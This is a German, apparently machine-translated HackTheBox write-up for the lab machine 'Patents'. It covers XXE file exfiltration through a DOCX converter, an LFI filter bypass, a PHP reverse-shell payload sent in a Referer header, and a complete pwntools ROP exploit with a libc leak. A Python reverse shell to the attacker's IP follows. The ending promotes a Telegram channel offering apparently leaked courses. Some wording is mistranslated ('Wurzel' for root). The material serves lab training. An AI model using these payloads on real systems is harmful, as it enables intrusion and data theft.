Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .In diesem Artikel nutzen wir XXE im Dienst, um DOCX-Dokumente in PDF zu konvertieren, RCE über LFI abzurufen, den GIT-Verlauf zu durchsuchen und Dateien wiederherzustellen, ROP-Ketten mit pwntools zu erstellen und eine versteckte Stammdatei zu finden.Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen landen, die sich mit Informationssicherheit auskennen :)Organisationsinformationen, ,
Telegram . , ,
.
. , - , .
Aufklärung
Dieser Computer hat eine IP-Adresse 10.10.10.173, die ich zu / etc / hosts hinzufüge.10.10.10.173 patents.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A patents.htb -p22,80,8888
Der Host führt SSH-Dienste und den Apache-Webserver aus, wobei Port 8888 für einen unverständlichen Dienst reserviert ist. Mal sehen, das Web.
Die Site verfügt über ein Download-Formular für DOCX-Dokumente.
XXE DOCX
Laut Aussage wird unser Dokument in das PDF-Format konvertiert. Dies legt den Gedanken an XXE nahe. Ich habe ein Beispiel von hier .
In diesem Beispiel versucht der Host daher, das XML-Dokument vom Remote-Server herunterzuladen. Durch das Herunterladen dieses Dokuments liest er die im heruntergeladenen XML-Dokument angegebene lokale Datei, codiert sie in base64 und kontaktiert unseren Server erneut, wobei er die codierte Datei als Anforderungsparameter übergibt. Das heißt, nachdem wir diesen Parameter dekodiert haben, erhalten wir die Datei vom Remote-Computer.Diese Last sollte jedoch nicht in den Pfad word / document.xml gestellt werden. Da das OpenXML SDK für die Arbeit mit diesem Dokumenttyp verwendet wird, folgt es von hier und von hierDie serverseitige Software sucht nach Daten in word / document.xml und in customXML / item1.xml. Daher sollte die Last dort platziert werden.Erstellen wir ein docx-Dokument und entpacken es als Zip-Archiv. Erstellen Sie anschließend das Verzeichnis customXML und erstellen Sie die Datei item1.xml darin. Darin schreiben wir den Code aus dem obigen Bild und ändern die IP-Adresse in unsere eigene. Und wir archivieren das Dokument zurück.
Führen Sie nun den lokalen Webserver aus.python3 -m http.server 80
Und im aktuellen Verzeichnis erstellen wir die zweite XML-Datei, wobei wir / etc / passwd als gewünschte Datei angeben.
Und laden Sie das Dokument auf den Server hoch. In dem Fenster, in dem der Webserver ausgeführt wird, wird die umgekehrte Verbindung angezeigt.
Dekodieren Sie base64 und rufen Sie die angeforderte Datei ab.
Auf diese Weise können wir Dateien auf dem Server lesen. Lesen wir die Apache-Konfigurationsdateien. Ändern Sie dazu dtd.xml und wiederholen Sie den Download des Dokuments.
So finden wir das Verzeichnis heraus, in dem sich die Site befindet. Versuchen wir, die Konfigurationsdatei zu lesen.
Und der Kommentar besagt, dass die Datei aufgrund einer Sicherheitsanfälligkeit umbenannt wurde. Wir werden natürlich auf patents.htb / getPatent_alphav1.0.php verweisen .
Wenn Sie auf diese Seite gehen und den Pfad ../../../../../etc/passwd als ID-Parameter übergeben, werden alle Vorkommen von "../" aus unserer Zeile gelöscht. Ersetzen wir jede Zeile "../" durch "... /. /". Wenn Sie also eine Sequenz löschen, bleibt sie weiterhin "../".
Und wir finden LFI.Einstiegspunkt
Versuchen wir, RCE daraus zu machen. Ehrlich gesagt - es war schwierig. Tatsache ist, dass wir beim Senden eines solchen Dokuments kein Angebot zum Herunterladen von PDF erhalten haben. Das heißt, Deskriptor 2 wurde verwendet (um Diagnose- und Debug-Meldungen in Textform anzuzeigen). Und wir können uns an ihn wenden. Codieren wir die Reverse Shell in base64:/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
Wir werden es dekodieren und in PHP an die Systemfunktion übergeben. Übergeben wir den Code beim Hochladen einer Datei als HTTP-Header.curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'
Führen Sie netcat aus.nc -lvp 4321
Wenden wir uns nun dem zweiten Deskriptor zu.curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
Wir werden wieder verbunden.Wurzel 1
Laden Sie das Skript-System überträgt Linpeas und analysieren Sie die Ausgabe sorgfältig. Also arbeiten wir in einem Docker-Container.
Wir finden auch Hashes. Aber beim Hacken kommen wir zu nichts.
Führen Sie daher pspy64 aus , um laufende Prozesse zu verfolgen. Und wir finden den Start des Prozesses als root, in dem das Passwort als Umgebungsvariable übergeben wird.
Und ändern Sie den Benutzer lokal, indem Sie dieses Passwort eingeben.
Wurzel 2
Mal sehen, was dieses Skript macht.
Wir bekommen einen Tipp zu einem lfmserver und speichern auch den Benutzernamen und das Passwort. Lassen Sie uns im System nach allem suchen, was mit lfm zu tun hat.
Und wir finden das Git-Repository in diesem Verzeichnis.
Lassen Sie uns mit diesem Repository arbeiten.
Lassen Sie uns die Geschichte der Veränderungen sehen.
Lassen Sie uns die Geschichte der Veränderungen sehen. Wir sehen also, dass beim vorletzten Commit eine ausführbare Datei und eine Beschreibung hinzugefügt wurden und im letzten bereits gelöscht wurden. Lassen Sie uns einen Rollback durchführen, bevor Sie Dateien löschen.git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
Und in unserem Verzeichnis erschien eine ausführbare Datei und Beschreibung.
Hier wollte ich schon anfangen, die Datei umzukehren, aber - wir haben ein Git-Projekt! Ich habe ein Commit gefunden, das Quellcodes erwähnt.
Und lassen Sie uns die Dateien wiederherstellen.git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
Danach laden wir die interessierenden Quellcodes, das Programm selbst und die Bibliotheken auf den lokalen Computer herunter.Rop
Wir müssen versuchen, die Sicherheitslücke im Programm zu finden und auszunutzen. Es gibt Quellcodes, die helfen können. Lassen Sie uns den Schutz in einer Binärdatei überprüfen.
Das heißt, der Kanarienvogel und der PIE fehlen, aber der Stapel ist nicht ausführbar. Öffnen wir die Binärdatei in einem beliebigen Disassembler mit einem für Sie geeigneten Dekompiler (ich verwende IDA Pro 7.2) und vergleichen den dekompilierten Code mit den Quellcodes aus dem Repository.
Herstellen einer Verbindung zum Server und Verwenden der Daten aus der Datei checker.py sowie der Anmeldeinformationen.
Lassen Sie uns eine Exploit-Vorlage schreiben.
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
Lassen Sie uns nun die Anfrage bestimmen. Starte die Anwendung.
Sie müssen den Pfad zur Datei und den Hash ihres Inhalts senden. Zum Beispiel habe ich / etc / hosts genommen.
Fügen Sie der Vorlage den folgenden Code hinzu.INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
Führen Sie nun den 404-Fehler aus und erhalten
Sie ihn. Sehen wir uns die Protokolldatei an.
Es ist klar, wo die Anwendung nach einer Datei sucht. Spielen wir mit den Pfaden und geben Sie eine solche Datei an.file = "../../../../../etc/hosts"
Wir werden den Code ausführen und keine Fehler sehen.
Aber im Fall von Urlencode erhalten wir eine Antwort mit Code 200 vom Server!file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
Großartig, lass uns zum Disassembler zurückkehren. Wir finden unter den Zeilen (Umschalt + F12) eine erfolgreiche Serverantwort. Und mal sehen, wo darauf zugegriffen wird (X).
Und wir gehen zur ersten Funktion über, bei der zu Beginn eine Überprüfung der Anmeldeinformationen erfolgt.
Benennen wir die variablen Zeilen im Disassembler-Fenster um, um das Verständnis im Dekompiler zu erleichtern.
Analysieren Sie den Code in den Zeilen 18 bis 24 und verstehen Sie Folgendes: Ein Teil der Benutzereingabe fällt in die Funktion sub_402DB9, wobei die Zeichenfolge in den Variablennamen konvertiert wird, der dann in die Zugriffsfunktion fällt, und wenn das Ergebnis negativ ist, wird die Nachricht 404 ausgegeben. Der Variablenname ist der Pfad zur Datei. Da die Anforderung auch bei der Urlencode-Codierung verarbeitet wurde, wird diese Funktion höchstwahrscheinlich für die Decodierung benötigt.
Tatsache ist jedoch, dass der Variablenname, in den die Daten übertragen werden, eine begrenzte Größe hat.
Für einen Pufferüberlauf müssen wir also 0xA0 = 160 Bytes übertragen. Fügen wir dem Code die Funktion hinzu, bis zu 160 Byte zu addieren und den Pfad zur Datei zu codieren. Da der Hash aus dem Inhalt der Datei berechnet wird, muss die Integrität des Dateipfads nicht verletzt werden, dh nachdem der Hauptpfad 0x00 Bytes hinzugefügt hat.Tatsache ist jedoch, dass wir den Hash aus jeder Datei auf dem Server kennen müssen, die immer verfügbar ist und sich nie ändert. Zum Beispiel / proc / sys / kernel / randomize_va_space, und wie wir uns aus der Ausgabe von linPEAS erinnern, ist ASLR aktiviert, dh wir kennen den Hash.
Dann ändern Sie den Code.
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
Es funktioniert erfolgreich!
Verwenden wir nun einen Speicherverlust und bestimmen die Adresse, an der die libc-Bibliothek geladen wird. Dazu erhalten wir die Adresse der Schreibfunktion in der geladenen libc-Bibliothek.binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
Wählen Sie nun die Adresse der Funktion dup2 (die ersten 8 Bytes). Subtrahieren Sie die Adresse der Funktion dup2 in der entladenen Bibliothek davon. Hier finden Sie die Basisadresse von libc.print(f"[*] Payload sent")
recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
Suchen Sie nun die Adresse der Zeile / bin / sh.shell_address = next(libc.search(b"/bin/sh\x00"))
Es bleibt die ROP zu sammeln, in der die Standard-E / A-Deskriptoren (0,1,2) an den im Programm registrierten Deskriptor umgeleitet werden (nehmen wir 6). Danach wird die Systemfunktion aufgerufen, wo wir die Adresse der Zeile / bin / sh übergeben.rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
Fein! Wir bekommen die Schale von der Wurzel. Aber er stirbt schnell. Führen Sie den Listener (nc -lvp 8765) aus und werfen Sie die Back Connect-Shell.r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

Und wir haben eine stabile Hülle. Ich gebe den vollständigen Code im Bild unten.
Aber wir können das Root-Flag nicht lesen ...
WURZEL 3
Wenn wir linpeas ausführen und die Ausgabe betrachten, finden wir interessante Abschnitte, insbesondere / dev / sda2.
Lassen Sie uns Informationen zu allen Blockgeräten erhalten.
Wir haben also die Root-Partition / dev / sda2. Erstellen Sie ein Verzeichnis und hängen Sie die Partition ein.
Also finden wir die Root-Flagge.Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.